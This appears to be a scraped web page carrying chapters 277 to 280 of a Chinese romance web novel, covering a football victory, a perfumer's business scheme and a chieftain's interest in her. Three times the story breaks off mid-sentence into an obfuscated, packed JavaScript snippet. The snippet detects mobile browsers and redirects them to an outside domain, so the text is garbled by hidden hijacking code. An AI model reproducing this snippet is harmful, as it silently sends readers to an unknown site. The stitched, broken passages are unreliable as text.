苏和吁出一口气,点了点头,他明白,既是死门亦是生门,逆风翻盘就在今次。 看台上不止有普通看客,还坐了蹴鞠社的东家,还有一些不露脸的极权极贵,他们俱把这一幕看在眼里。 期待着,玩味着,想看一看奇迹,谁不喜欢反转。 他们把自己代入苏和,现在,苏和就是他们的化身,盼望着苏和带给他们不一样的观感和刺激。 短暂的休憩一晃而过,可众人却觉得好像过了很久,再次看向场中的眼神都发生了变化。 监赛人的锣声响起,比赛开始…… 第277章 蹴鞠社的东家到底是何人 锣声响,赛事开始。 蹴鞠场内,闹动彻底静下来,无人出声,有人等着看奇迹,有人等着看笑话。 本该是两队的较量,此刻却演变成了一场赤裸裸的围猎。 不仅仅是江念,连同赵七娘和柳元娘,她们的目光紧紧追着苏和,又以他为中心向周围散出注意,观着其他人的动向。 苏和的每一次触球,迎接他的没有配合,而是四面八方伸来的,带着恶意的腿脚。 汗水浸透了他的额发,紧贴在眉骨上,他在人墙中冲突,身手迅捷矫健,那球就像他的宠物,随着他跑,他跑到哪里,球就跟到哪里,谁也不要,只要他。 终于,在众人还未反应过来时,革制的球破风射向对方的风流眼。 场中先是寂然,接着那些原先对苏和叫骂最凶的人们,开始为苏和喝彩。 苏和是红队,不论多少人同他为敌,只要他进了球就算红队赢,而红队胜,他就能赢钱,如何不开心。 看台上开始欢嚷:“踏平那些龟儿子!” “神了!这球是怎么踢出来的?!” “活了!老子又活过来了!!” “异族人,你就是我亲爷!” 旁边一人听了这话,翘起拇指:“还是你牛,连祖宗都改了。” 现在所有人把注意都放在苏和身上,希望他再次进球,而苏和也不负众望,之后接连进两球,他单枪匹马杀出一条路,将球射向对方的风流眼。 接下来一球,苏和试图再次控球,一个本是队友的身影,竟假意滑铲,实则狠狠一脚踹向他的脚踝!剧痛袭来,苏和一个踉跄,球被轻易断走,场内瞬间爆发出混杂的喝骂声。 众人看清了,偷袭之人正是红队队长冯三郎。 “卑鄙!” “无耻!” 看台上一面倒地向着苏和。 苏和忍着剧痛,冲过去,身体以一个不可思议的微小幅度向右前方侧滑,险之又险地避开了正面冲撞,同时右脚内侧轻轻一拨,球从冯三郎的脚下被带回。 不待人反应,快速冲突,又是一记飞踢,再次得分。 江念旁边的看客们,激动得手脚不受控,开始讲解。 “左路空了!速攻!速攻!” “稳住!他们右翼薄弱,攻右侧!” “注意身后!回传!莫要硬闯,寻找空当!” 接着众人齐呼:“好球!!” 江念等人紧紧地攥住拳头,见苏和又进一球,全拊掌喝彩。 苏和压着眼皮,微低着头,每一次喘息都带着铁锈般的腥甜——那是被无数次冲撞后,体内翻涌的血气。 这时,一个红色的身影朝他走来,走到他的身边,同他站在一起。 苏和抬眼看向那人,那人给了他一个眼色,点了点头,接着其他的红衣队员也陆陆续续走来。 他们没法不被这个异族人打动。 同时,他们自问能不能做到这样,不能,他的本事已经无需再证明。 而另一面,看台上的蹴鞠社东家把这一切看在眼里,就算苏和此次输了比试,他也要花重金把这人留下。 有了其他红队队员的助力,接下来的形势一面倒。 冯三郎恨得咬牙,一时间竟不知自己该回红队,还是去蓝队,成了两头不要的人。 本是他想孤立苏和,结果成了他自己被众人孤立,蓝队瞧不上他,恶心他,连自己的队友都坑害,红队的人也恨冯三郎,以前不得不屈于他的**之下。 局势倒转,冯三郎成了众矢之的,最后的结果没有悬念,红队赢了比赛。 苏和被一众人抬起,抛向高空,场中也跟着沸腾。 这一场看得实在精彩,可能是他们一辈子看过最有意思的蹴鞠比赛,从今日起,京都又有一名蹴鞠新星升起。 江念也替苏和欣慰,看着他做苦役时的艰难度日,再到后面给蹴鞠社做杂活,他终于等到了机会,也抓住了这次机会,再次熬出头。 “走罢。”江念同云娘等人说道。 “不等阿和了?”云娘言语犹带着未平的兴兴然。 “他今晚没空同我们吃饭了。”江念转头看向赵七娘和柳元娘,“今日多谢二位东家露脸,替我这位友人助威,我在东兴楼置了一桌席面,请二位赏脸,莫要推辞。” 赵七娘看了一眼被人簇拥的苏和,笑道:“我们当谢念娘才是,邀我等赏了这样一场热血竞技,此生只怕再看不到这样的精彩。” 柳元娘跟说道:“妇人我不常看这些,今日却迷上了,看得我的一颗心扑通扑通跳得欢。” 她二人若是事先知晓还要敲锣打鼓,只怕任江念嘴巴说破了皮,也不会来,可真到那会儿,也被当时的氛围感染,有了江念牵头,二人也激勇较真了一回。 现在回想自己刚才拿个锣儿,敲打呐喊,都有些耳热。 江念等人出了蹴鞠社,乘着马车往东兴楼去了。 苏和确实抽不开身,今日所发生的事情,他预先也没料到,他很清楚自己在这里不被待见,所以打算踢完这场赛事就同江念等人一道去酒楼。 谁承想,自己成了今日场上的主角。 按他的经验,接下来定是众队员聚在一起吃酒庆贺,而且刚才有人来告诉他,让他别走,东家要见他。 就在众人围绕苏和身边时,一个声音响起:“阿和,你果然不负众望,可喜可贺,日后我们红队又多了一位你这样的好苗子,不过你还是新人,日后有什么不懂的,尽管问我。” 众人一听这声音,不是冯三郎,却又是谁? 众人心里冷笑,人家以一战全场,何等能耐!到你嘴里却成了“好苗子”,还“有什么不懂的,尽管问我。” 真会往自己脸上贴金,要脸不要? 正在此时,监赛人走了过来,看向冯三郎:“东家请你去一趟。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882323|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >冯三郎一怔,离开前看了一眼苏和,那一眼意味不明。 他刚离开,红队其他人全都冷笑,监赛人又看向苏和:“你也去。” 苏和点了点头,并不意外,在这一行他非新人,知道接下来会发生何事。 冯三郎和苏和一前一后到了一间屋阁中。 冯三郎先进入屋室,苏和候在外面。 屋内坐着一个瘦小的老头,老头叙着山羊胡,眼角集着多条纹络。 “东家找我?”冯三郎说道。 老头指了指对面的座椅:“坐下说。” 冯三郎坐下。 老头接下来的话竟是半点不拐弯抹角:“三郎明日就不用来了。” 冯三郎腾地站起:“东家这是何意?” 老头微笑道:“话已说得很明白,三郎放心,社里会赏你一笔银两,不叫你吃亏。” 冯三郎怒笑道:“我差你这钱?” 他享惯了被众人追捧的感觉,那种感觉用钱买不到,对他这种平头百姓来说,这就是一种地位。 老头面上平和,并不恼,不疾不徐地问道:“那三郎想如何?” “你不就是见那蛮子今日踢了一场,想让他取代我?” “不错,正是此意。” 冯三郎冷笑一声,说道:“没那么便宜的事,我要见东家。” 老头此时沉下脸,不再说话。 冯三郎继续说道:“别以为我不知道,你这老儿根本不是东家,不过是明面的主事之人,东家另有其人。” 老头呵笑两声,拈着胡须,眼含冷光:“你既然知道东家另有其人,就该知道东家不是你想见就能见的。” 冯三郎呆了呆。 “你如今有两条路可走,要么拿钱走人,要么钱保不住,人亦保不住。”老管事说道。 冯三郎知道这老头没开玩笑,含着怒怨,不甘心地接受了他的条件。 冯三郎离开后,苏和进入。 “坐。”老管事说道。 苏和坐在刚才冯三郎坐过的位置。 老管事笑着把苏和打量,说道:“夷越国来的?” “是。” “刚才我们的话你都听到了?” “听见了。” “你们夷越打下了梁国,正是势头强盛,怎么想着来我大夏?”老管事问道。 苏和心道,夷越攻下梁国这种事,大多老百姓并不通晓,也不关心,毕竟两国相隔甚远,隔着一片**。 这位管事说起来却如同谈家常一般,可想而知这蹴鞠社的东家必不是一般人。 “曾在夷越犯过事,被人寻仇,这才离乡。”苏和半不打算说假话,也没必要,不如真诚些。 果然,老管事听后笑着点了点头:“放心,只要你在大夏不犯事,别说夷越的仇人寻上来,就是他夷越……咱们东家也能保你。” 苏和心惊,好豪横的口气,直接拿夷越同大夏对上,这位蹴鞠社的东家到底是何人…… 第278章 就喜欢这小妇人 东兴楼内…… 江念置了两桌席面,桌上美食美酒。 江念、云娘还有两个东家一桌,秋水同另两个丫头一桌。 屋室内也没别人,平日做生意抬头不见低头见,早已相熟,自在吃喝,自在说笑。 此时,众人已有了几分酒意。 “念娘,那位阿和怎么一直住你店中?你同他……”赵七娘本就坐在江念身边,这会儿更近了一些。 江念笑看着赵七娘,说道:“七娘怎的突然问起他来?” 赵七娘把脸一红,本就微醺的腮颊,这会儿更红艳。 “瞧你这人,不过随口问一句。” 江念也不戏弄她,看出赵七娘对苏和有意,先前在赛场上,她的声音比她还响亮。 “阿和同我一路来的大夏,危难之时,出手救过我。”江念说道。 “那他为何借住你店里?” 因为苏和才来大夏时囊中羞涩?可江念不能这么说,于是笑说道:“我那店铺存了些东西,需人照看,正巧他那时寻落脚之地,这才住到我店里。” 赵七娘点了点头,正待再问,门扇被敲响。 秋水前去开门,见了门外人,惊喜得朝里喊了一声:“娘子,阿和来了!” 这一声把屋里的女眷们唬了一跳,忙把团扇拿起掩住面,白日里还好,这会儿天色已暗,女人们又正吃酒,恐私下被瞧去醉态。 好在屋中有一架屏风隔着,苏和并没进来,只立在门外,对秋水低声说了几句什么。 秋水转身去了里面,附到江念耳边,江念听后点了点头。 秋水从桌上拿了酒壶并一个空酒盏,绕过屏风,走到门首下,将手里的酒杯递给苏和,替他满上酒。 苏和执起酒杯,举起,向屋里说道:“苏和在这里谢三位东家,也谢众位小娘子,恐唐突惊扰到各位,便在门下敬饮此杯。” 说着,仰头饮尽。 屋里众人也举杯说道:“苏郎球技无双,凭得真本事,实至名归。” 说罢饮下。 苏和将酒杯递回,又说了几句不打扰的话。 众人回了几句,知他这一场下来,便是京都蹴鞠行的风云人物,定有许多应酬。 苏和走后,众人回坐,继续欢闹吃喝。 …… 次日,江念正在隔间调香,店里来了一人。 秋水走到江念身边,说有人找她,于是放下手里的香匙,走出制香屋去了外间。 这来人不是别人,正是前些时在云裳阁见过的郑氏,面上敷了薄薄一层粉,可那面容带着郁色,抑郁中又揉着几分盼叹,先前见她还不是这样。 “夫人来了,快请坐。”江念把人迎进,又让秋水上茶点。 这还是郑氏头一回来江念的铺子,一进来就展眼四顾。 江念见郑氏坐下后,双手握着茶杯,一副欲言又止的样子。 “夫人今日来可要买香?” 郑氏脸上升起一抹红,说道:“上次你那香很好……” 江念笑道:“想来夫人喜那香息,我再替夫人包上一盒?” 郑氏点了点头,继而又叹着摇头。 江念不明其意。 郑氏实在不好意思开口,经过一番挣扎,说道:“上次你赠我的那一盒香我用着好,我家老爷也喜那香……” 郑氏向江念述说这些,也是想让她替自己另挑一款合当的香。 江念认真听着,虽说郑氏闪烁其词,可也听出了大概。 原是郑氏搽了她的香,因而重拾夫妻温情,谁知家中另一房小的又生了幺蛾子,把男人的心勾了过去。 之后,又冷落了她。 这次来,她想看看有无其他的香,可以重新博取男人的注意。 江念想了想说道:“夫人愿将这些事告知于我,也是信得过我,只是有句话不知当讲不当讲。” “还有什么当讲不当讲,有话直接说来。” 江念这才开口:“若说香,我这里有百种,自是有不同寻常的,随便拿几样来都能让夫人满意,只是夫妻之间单单靠香维系,终不是办法。” 郑氏叹了一口气:“我又何尝不知,只是如今年近四旬,比不得家里那位小妖精。” 贵妇人说着竟红了眼,以帕拭泪。 江念低眉沉吟,心里打起算盘,她听赵七娘说过,郑氏家负责给各官衙采买,然而仅仅为官衙买办能多大点“食量”,也无甚油水。 是以,说是给官衙采买,实则那些大小官史内宅女眷的一应细物也由他负责。 若她能打通这条路子,那么香料铺子的名气会更大,销路拓宽,她再招三两个香工,日后坐着便能进账,岂不美哉?! “从来都说患难见真情,夫人对买办大人的真情怎是那小妾可比。” 郑氏摆了摆手,说道:“什么小妾,你可抬举她了,就是养在府里的家妓。” 江念称是,继续道:“所以,她的一颗心哪有夫人您对买办大人的心真呢!” “谁说不是,但老爷他看不清呐,只看皮相。” “买办大人看不清,夫人何不想个办法让他看清,如此一来,夫人烦忧之事便迎刃而解。” 郑氏并非愚人,再次看向江念的眼神便有些不同,听她话里有话,当下说道:“念娘若能助我,我定会记下这份恩情。” 江念并不需她另外应下什么,只因本就是一举两得,若是成了,郑氏能赢回丈夫的心,她的目的也能达到。 若是不成嘛,她也不损失什么。 “倒是有一个法子,只是……”江念故意吞吞吐吐,“奴家怕此事最后不成,反叫夫人空欢喜一场,不仅没帮到夫人,反惹夫人憎恶。” 郑氏说道:“你若帮我,我记着这份情,就算最后办不成事,我也不怪你。” 江念要的就是她这句,于是开口道:“要成此事,还需夫人从中协助。” 郑氏半点不迟疑:“这个自然。” 接下来,江念告知郑氏该如何如何,江念从来不是甘于屈居人下之辈,不争不抢不是她的性格。 要么不做,要做就要当头筹,她却不知,在她算盘打得“啪啪”响时,已被更高位的猎手锁上了…… 彼边…… 蹴鞠社最上一层楼阁内,有一面非常大的紫檀嵌螺钿屏风,底座很大,将整个阔大的屋室隔成两个区,里间的一面墙凿了很大一面窗,正对蹴鞠场。 几乎可观得场内全景。 紫檀屏风隔出的外间陈设简单却又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885909|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单。 墙脚立着香鼎,依依升着青烟,笔直向上,再破碎,光只这一个鼎就不知价值几何。 屋中有一方矮案,矮案边坐着两人,几上摆着的不是茶盘,而是一张棋盘。 盘上落着黑白子。 再看这对坐的二人,其中一人鸦青色圆领袍,黑眸黑发,英姿丰迥,眼角眉梢隐藏桀逆之态度。 而坐在他对面之人,亦是黑发黑眸,只是仔细看便能发现,黑得并不纯粹,特别是那一张脸,线条丰俊又生野,是一张异域的面廓,通身带着上位者的凌然。 异域男人凝目看着盘上的棋中,坐姿落拓不拘,只见他先看了一眼对面鸦青长袍的男子,启口道:“不是我说,秋儿,你什么时候喜欢研究这玩意儿?” 这位鸦青色圆领袍男子正是蹴鞠社的东家,他还有一个身份,便是大夏的魏王,魏秋。 坐在魏秋对面之人,并非大夏人,而是大夏的盟友,乌塔部族的首领,曾经的乌塔二王子,烈真。 当初大夏国建立,乌塔部族曾出兵相助,乌塔部族算不上大国,可乌塔人骁勇,马背上的民族,实力强悍。 烈真说罢,并不见魏秋答言,轻笑一声:“你学你兄长也无用,你皇嫂也不会多看你一眼。” 魏秋正蹙眉凝视棋盘,这话一出,叫他执棋的手一顿,干脆把棋子往棋盘一丢。 烈真又道:“皇帝都把你同我妹指婚了,你好嘛,又回来给拒了,阿丽娜回去后好一通闹。” 烈真口里的阿丽娜是乌塔公主,也是烈真同父异母的妹妹,而烈真并非纯正乌塔部族人,他的母亲是大夏人,父亲是乌塔部首领。 当初他得来这个首领之位并不容易,魏家兄弟给了他很大助力。 而这位魏王至今仍未娶妻,原是身为他兄长的皇帝给他和乌塔公主赐婚来着,不知怎的,他最后还是拒了,无非就是放不下心里那个人。 魏秋抬眼看向对面的烈真,说道:“你今儿话有些多。” 烈真笑了笑,拿起旁边的一盏茶,啜了一口。 “你准备明日进宫同我皇兄相辞回乌塔?”魏秋问道。 烈真再次轻笑出声。 魏秋觉着他笑得可疑,问道:“怎的?” 烈真把盏儿在手里把玩,说道:“改主意了,在你们大夏多留些时日。” “你在打什么主意?”魏秋又问。 烈真嘴角扬起:“那小妇人有些意思,我再留些时候。” 魏秋脑子闪过昨日那女子,一面打响锣儿,一面给异族人助威。 “我记得你从前说过,不喜我们这边的女子,太柔依,没滋味。” 烈真点了点头:“你不觉得这小妇人又蛮又野么?大庭广众之下给那人助威,我就喜欢这样劲劲的。” “你别乱来,那名叫苏和的我要收拢,万一他二人是夫妻,你当如何?” “夫妻就算了,若不是嘛,那就凭本事,不过就我观得,他二人不是夫妻关系。”烈真丝毫不在意,继续道,“你收拢你的人,我收拢我的人。” 魏秋摇了摇头,无奈道:“别玩出火来。” 烈真闷笑出声,心情特别好,已经起火了,盘算着如何猎获那小妇人…… 第279章 宝刀赠美人 江念告诉郑氏,她会特制一味香,市面上寻找不出。 她将香膏凝成香珠,郑氏再将此香带回,附于给官眷采买的衣料、绢帕,或是任何可附之物上,那些女眷们闻了后,喜欢,便会让买办采买。 然而这香除了江念的香远山能制出,再找不出第二家,当然了,江念也有这个信心,让人喜闻此香。 她要通过这位买办,打入大夏国京都官眷圈。 至于承诺于郑氏的“患难见真情”,好办,李买办既然承揽采买之事,若是买不到官眷特指的香息,便会引得那些宝眷不满,枕边风一吹,一个办事不力扣下来。 这肥差就保不住了,所以李买办为寻此香,必会心急如焚,家宅难宁。 听到这里,郑氏问道:“纵使这样,怎么撵小**离开?” 江念说道:“这就要看夫人的手段了,如何将买办大人即将遭难传知那位家妓,花楼女子寄住之家兴旺,她们应景逢迎,落败时,她们会想各种办法离开,再寻下家。” “夫人只需把该做的都做了,何须夫人亲撵,坐看好戏便是。” 郑氏想了想又道:“只是这成败关键在于那些官眷,若她们对念娘制的香并不在意,该当如何?” “所以这才需要夫人从中相帮,非止一家附上香珠,广撒网,十之七八不敢说,十之四五总会喜欢不是?只要有女眷喜欢就成了,况且,夫人既然找上我,不找旁人,不就是一种肯定么?” 东西再好,无人光顾也不行,她需要一个机会。 郑氏心道,这话倒是,她制的那香确实迥于别家,好闻。 两人一拍即合,一个需要契机更上一层,一个想让夫回心转意。 之后,江念调出了一味香,郑氏差人来拿。 再之后,郑氏便如江念所说的那样,将香珠装入馕中,放于盛首饰和巾帕的匣子内,匣子打开便是一派幽幽香气。 而结果,也真如江念所料,好些官眷让李买办寻这香,李买办找遍京都城,也没找到对味的香。 眼看采买的时候就要到了,若买不着,虽不治罪,只是这差事定然不保,愁烦得日夜不能寐。 那兰心把这些看在眼里。 再加上近日府里私下早已传开,心里不免有了其他打算,准备另寻出路,她还青春,不可能跟着李买办过苦日子。 遂寻到以前的恩客,好一番梨花带雨地哭诉,恰巧这恩客有个不高不低的官身,便找了中间人,从中说和,想要李买办转卖兰心。 其实这兰心在遇着李买办之前,一直被恩客包占着,且这恩客也有意赎她。 只因兰心不知从哪儿听闻,恩客的正头娘子厉害,不是个好相处的,手里出过人命。 所以当李买办出现时,她毫不犹豫地选择了李买办,然而,买办家眼看不能行了,她需要为自己另谋出路。 李买办一听那中间人的说辞,便知其中原因,气恨**无情,却又碍于那人官身,而他不过一微未商贾,只能应下。 郑氏见兰心离开,自家老爷因差事整日苦闷,终于在一日里,告诉他自己无意间寻到了那香,并引李买办去了江念的铺子。 李买办疑心,这铺子他先前差人来过,为何当时没有,如今又有了? “我曾来过,那时,你店里的伙计怎的说没有,这会儿又有了?莫不是成心戏耍我?” 郑氏心里一咯噔,不过江念有话应对,只听她微笑道:“买办大人莫恼,原是此香中的其中一味原材没了,也是最近才到,当时奴家不在店中,伙计不清楚情况没多问,将话说岔了。” 郑氏暗暗吁出一口气。 江念趁机道:“今儿上午,郑夫人来店里就是特意问香的,说是找了大半个京都才寻到我这里,待我将此香拿出来,她险些哭出来,直言有救了,有救了,倒是把奴家唬了一跳哩!” 江念故作惊怪地拍了拍胸口。 李买办听此,看向自家夫人,见她眼眶微红,鬓发竟已有几根银丝,一时间又是愧疚又是欢喜。 欢喜她替自己找到了香,愧疚自己这几年亏待冷落她。 接下来,李买办从江念这里拿了香,办成了差事,而那些官眷得了香,差人从李买办处探知了江念的香铺。 自此,香远山在京都城的名声越来越响。 随之,香铺的生意越来越好,需求也大了起来,店中有秋水和云娘打下手的情况下,江念另招了一名香工。 她便可以空出许多时间,研制新香。 这日,江念正在店中清算账目,云娘因要备晚饭,先离了店。 “东家,制香间的器物已收整毕,余料也都收了,可还有其他的需料理?” 沈氏是新来的香工,年岁三十,原是另一家店铺的香工,因家婆生病,向东家告假回家照顾,待家婆病好后,再回店中上工。 那东家不愿意她空占着名不出力,最后不得不辞去了活计。 最终家婆的病也没能好起来,安排完后事,为了生计,再次出来寻事,正巧遇上江念的香铺招人,江念见她制香娴熟,当下就谈妥了,让她来上工。 有了沈氏在店里做活,江念轻省不少。 “无事了,你回罢。” 沈氏点了点头,又同正在打扫的秋水招呼了一声,便离开了。 沈氏才走没一会儿,苏和就回了,脸上带着笑地走到江念对面坐下。 “明日我便从你店里搬走,不住这里了。” 江念知道他现下有钱了,凭借那一战成名,当上了红队的队长,如今踢一场,比她这店铺来财还快。 江念当然为他高兴,问他:“找到地方了?” 苏和笑着点了点头。 “发财了?” 苏和笑而不语。 “行罢,那咱们得好好算算账了。”江念说着,把算盘一摇,清了盘,然后葱根般的柔枝手在算珠间上下快速扒拉,边动作着,边说道,“住宿费,我算你十文钱一晚,还有那日蹴鞠赛的花费,不多不少,去掉了零头,统共收你十两银子……” 苏和不等她把话说完,将算盘珠子按住,说道:“等等,你就是不去零头,也没有十两啊,来,来,说说看,你这十两怎么算的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885910|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 江念抬起头,看了他一眼,倏忽一笑:“确实没有十两,那是还没加上利钱,利钱加上就有十两了。” 苏和一口水差点呛住:“放贷的也没你这样黑。” 他还记得在夷越之时,她两边押注,横竖赢钱,这人脑子怎么长的。 两人正说着话,秋水的声音突然传来。 “客人,我们已经打烊了。” 江念下意识地抬头去看,傍晚昏黄的光中走来一人,光是亮的,男人的身形在光中渐渐显现,只这一眼,江念便呆了。 这高大的身形,还有那通身的威压……心开始跳得不受控制,甚至疼了起来。 苏和察觉出她的异样,顺着她的目光回头看去,待看清来人后,怔了一下。 这人他见过。 蹴鞠社的东家姓魏,是蹴鞠社背后真正的掌事人,他也知道他们这位东家不简单,不过他并不需要知道得太清楚,也不想知道。 而眼前的男人,是东家的友人,观其面目,同他一样,是大夏人口中的异族人。 烈真一进店里,眼睛就盯在那美妇人身上,而那女人也把他看着,她的眼神太过复杂,带着曲度。 直到他走近她,她的眼神才聚焦到他的脸上,好像才看清他的模样。 江念的失态太过明显,连对面的苏和也感觉到了。 “客官,要些什么?”江念慌乱地调整自己的态度。 烈真尽看向江念,眼神没有半点回避,十分大胆,听他说道:“你是这家店的掌柜?” “是。”江念回道。 烈真点头道,转身在店中看了一圈。 在他闲看时,江念将这人再次打量,及腰的卷发散在脑后,一根细辫齐眉勒着。 身着沙金色细密织锦制的罩袍,领口开得较低,襟袍半敞,内里一件绫白衫,不算宽大的袖口被他随意地卷至手肘,露出结实的小臂。 腰系革带,腰带一侧仅挂了一把镶珠嵌宝的**,下着一条**白绢裤,束于深筒牛皮软靴内,靴沿上裤腿自然堆褶。 这一身,虽低调,可逃不过江念的一双眼,不算他腰间那把宝石**,就这一身,抵京都一套房都不止。 来了这么一尊财神,她自然不愿放过,当下站起身,走上前,笑道:“客人想要香?” 烈真回过眼,看向江念,说道:“替我调一味香。” “不知客人想要哪一款,我这店里各式的都有。” “柜架上的皆看不中,另外调制。”烈真说道。 江念先是怔了怔,接话道:“只是另外调制的话需得……” 话未说完,男人探手到腰间,取下自己的**,递向江念:“拿去。” 江念看着那**,深乌色的刀鞘,暗银骨架篆刻着不知名的纹路,周围镶嵌着大小郁金、翠绿的宝石,宝辉莹莹。 “宝刀太贵重,受不起,只需多费些银两便可。” 烈真笑了笑,将**往前递了递:“我身上没钱。” 江念仍是不接,烈真径直把镶金嵌宝的**随手掷到桌上,好像那不是一件什么稀罕物…… 第280章 压着人的心跳 江念的眼睛先是看着桌上的**,再看向面前的男子。 这人气势太盛、太狂逆,敛也敛不住,而且,这份威压太熟悉,太熟悉了……压着人的心跳,心跳在这力量下被动地搏动着。 让人不得不避其锐气。 她感受到一丝危险,本能地往后退了一步。 “掌柜好像不欢迎某。”烈真收起笑,拿回**,声音陡然一压,“若是接不了生意,这店铺不开也罢。” 男人说罢,便要转身离开,却被一个声音叫住。 “客人莫误会,掌柜只是在想给客人调何种香。” 说话的是苏和,他对江念睇了一个眼色。 江念当下会意,观这人面目,应是乌塔人,大夏向来同乌塔交好,再看这人行头,就是有身份的,京都城内,庙大菩萨也多,她开小店不容易,万不能得罪人。 于是稳了稳心神,微笑道:“怪我,怪我,客人莫恼。” 说着将烈真迎坐到隔间,让秋水看茶,苏和则在外面守着不语。 “客人想要什么样的香?有清冷花香、清芬草木香、雅韵木质香,还有茶香、果香、复合香……”江念细细说着,却见对面之人嘴角持浅笑,看着她。 江念耐着性子,又道:“不知客人是送友人呢?还是给自家宝眷用?” “不送人。” “那便是给宝眷……” 烈真打断:“我自己用。” “客人龙骧虎步,气度不凡,不必调和太过复杂的香,越是简单天然越是彰显客人的尊贵,不如以迦南香为基料,制一味香如何?” 烈真点了点头,说道:“这迦南香可有什么说道?” 说起香,江念态度变得认真,调好心绪,把谈话回转到买卖间的交流。 “迦南香本就属沉香中的极品,来自异域,初韵幽凉清透,带着凉意,中韵醇厚甘甜却丝毫不腻,渗着丝丝缕缕的辛香,深沉而复杂,尾韵为悠远绵长的木质调,沉稳、庄重,有安定心神的力量,香气通透,层次丰富内敛。” 烈真听着“嗯”了一声,然后便不言语,只是坐在那里把江念看着,江念先是把眼睛低下,可那人的目光太放肆,尽看着她,从刚才便这样。 当下心气也压不住了,她是开门做生意没错,可那不愿屈就的脾气自娘胎就有。 于是,抬起眼瞪了回去,不光瞪一眼,就那么直直地把对面之人瞪看着。 烈真怔了一下,眼神往回一缩,头一次,他回避一个人的眼神,不自在地咳了两声。 接着那女子不自觉地抬起小巧的下巴,没有半分怯意。 烈真压住嘴角,说道:“过段时日,我来取。” 说罢起身要走,却被身后的江念叫住:“客人留步。” 烈真回身,问道:“还有何事?” “客人下次记得带银两。” 总不能她费劲给他把香调好,他来一句没带钱打发她。 烈真笑出声,点了点头:“**你收着。”不待江念再说,人已离去。 苏和若有所思地看着离去的那人,又往江念身上看了一眼。 他还从未在她脸上见过那种神情,惊愕、无措,还有一丝说不清道不明的东西。 不过他很肯定,念娘并不认识此人,可为什么会有那样的反应。 “念娘?”苏和唤了她一声,他发现自刚才那人来后,她就有些不对。 江念回神,扯起唇角,笑了笑:“还没恭喜你呢,终于熬出头了,再不用住杂物间。” 苏和见她说话心不在焉,看了眼外面:“我送你们回长福坊,这会儿天也暗了。” 江念让秋水不用收拾了,苏和护着她二人离了店,回长福坊。 云娘早已把饭菜备好,摆上院中,见他们一直不回,贴心地在上面罩了一层纱,正要走出巷子探望,就听见院门敲响,忙去开门。 “可算是回了,菜都冷了。” “刚才就要回了,却又来了一人,便把时间耽误了。”江念走到水缸边,秋水舀了一瓢水淋到她手上。 苏和也跟着走来,顺便净了手。 “阿和还没吃罢?”云娘从灶房拿出筷箸。 “没,特意来蹭饭的。”苏和拿帕子拭净手,嫌院中灯不够亮,又将院子里多点了两盏灯。 几人围坐下,开始用饭。 “你认识那人?”江念问道。 苏和知道这话是在问他,说道:“算不上认识,我只偶然见过一面,是我们蹴鞠社东家的友人。” 江念点了点头。 云娘听说,插话道:“什么人?” 秋水咽下嘴里的饭:“就是快闭店时,来了一位客人,是个异族人,很高大,他一进来,咱们店的空气都沉了,不过长得怪好看的,同阿和一样,也是异族人……” “啪嗒”一声,众人去看,原来是云娘手里的筷子掉了。 很高大,长得好看,同阿和一样是异族人,云娘脑子突然就闪过夷越王的样子,本来她受夷越王之命,需向他报知江念的行踪,可她瞒了下来。 终日担着心,也虚着心,不免有些杯弓蛇影。 “看我这笨手,筷子也不会拿,我去换一双。” 云娘说着拾起筷子,去了灶房,将脏筷放到桌案上,又去筷篓拿一双干净的,只是那手颤着,取不出,最后慢慢吁出一口气,取出一双,走出灶房。 江念往云娘脸上看了眼,即使光线不那么通明,也能观得云娘的脸色不太好,于是关心道:“云姐姐,是不是哪里不舒服?” 云娘笑了笑:“可能有些没休息好,无事。” “明日你就在家里休一日,店里有人招呼。”江念说道。 “这怎么行,我没事,睡一觉就好了。” 苏和却从旁笑道:“云姐明日还真不能去香远山。” 其他人不明,看向他,苏和给自己添了一碗汤,不紧不慢地喝着。 “你看你这人,快说,快说,怎么我明日不能去香铺?”云娘催促道。 “他故意逗我们哩 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蹴鞠社不比赛时,队员们便在场上练习,苏和因今日搬住所,告了半日假,花了一上午的时间清理院子,虽有云娘帮忙,还是另外花钱请了一些人。 院子很快整理出形状,一应器物也都置办了,如今他手头不差钱,只要有钱,办起事来就容易。 到了下午回了蹴鞠社,照例回到场上同队友进行日常练习。 中间休息时,一人走到苏和身边,这人正是那日头一个站到苏和身边的人,名,陈宇,算是蹴鞠社的老人,比先头那个队长资历还老,平日里不显山不露水的。 看着就是再普通不过的一个人。 “那日给你呐喊助威的小娘子是你什么人?” “你问这做什么?”苏和拿起角壶,灌了一口水。 “随口问一问。”陈宇见苏和不愿多谈,脸色冷淡,便不问了。 休憩过后,继续训练,一直到太阳快落山众人才回到屋室更衣。 